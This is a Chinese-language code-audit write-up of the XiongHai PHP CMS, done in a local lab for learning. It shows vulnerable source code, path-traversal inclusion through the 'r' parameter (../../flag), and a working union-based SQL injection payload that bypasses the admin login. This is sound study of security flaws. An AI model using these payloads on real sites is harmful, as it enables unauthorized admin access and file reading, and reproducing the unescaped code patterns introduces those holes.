环境安装

来审一下这个简单cms学习一下,熊海cms直接网上找就可以

采用phpstudy进行配置,然后要提前建立一个数据,他不会自动帮你建

安装好后首页就是这样的

image-20240521001351083

开始审计

目录结构

image-20240523235111948

admin         --管理后台文件夹
css --存放css的文件夹
files --存放页面的文件夹
images --存放图片的文件夹
inc --存放网站配置文件的文件夹
install --网站进行安装的文件夹
seacmseditor --编辑器文件夹
template --模板文件夹
upload --上传功能文件夹
index.php --网站首页

先直接放进seay里面扫一下

image-20240523235351518

看起来还蛮少的,那就直接针对每个漏洞类型去看看

文件包含漏洞

第一处文件包含

根目录下的index.php源码:

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

很明显的文件包含,存在目录穿越漏洞,我在网站上级目录放了flag.php用来测试,r为空就会包含files目录下的index,给r传一个../../flag即可目录穿越

image-20240524000419879

能配合文件上传就能够发挥大用处,目前暂时读读文件只能

addslashes是用来转义一些特殊字符的

image-20240524000753569

第二处文件包含

第二处在/admin/index.php处

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

该页面默认会加上login参数

image-20240524001055974

一样的目录穿越漏洞

image-20240524001024759

SQL注入

admin/files下面的页面就报了很多sql的漏洞

但是我想先去看一下login页面,因为很多漏洞都是后台页面,登陆都绕过不过去怎么进后台利用呢,而且这个cms应该没有预编译习惯,login页面的sql应该也是有漏洞,我就去看了一下,还真有

admin/files/login.php

<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}

可以看这里没有转义那就肯定有sql注入了,可以看一下他的校验逻辑,查询指定用户然后从数据库中获取他的密码,与我们的密码md5之后进行比较,若相等则登陆成功

那这里我就采用了联合注入,然后输入密码为1,查询的值为1的md5,最终成功绕过

不过字段数需要尝试一下,这里试出来是有8个

最终payload如下:

user=-1' union select 1,1,1,"c4ca4238a0b923820dcc509a6f75849b",1,1,1,1#&password=1&checkbox=1&login=yes

image-20240524003328983

而且身份竟然是admin,这里还没看出为什么突然就admin了,源码好像没看到相关的

image-20240524003529583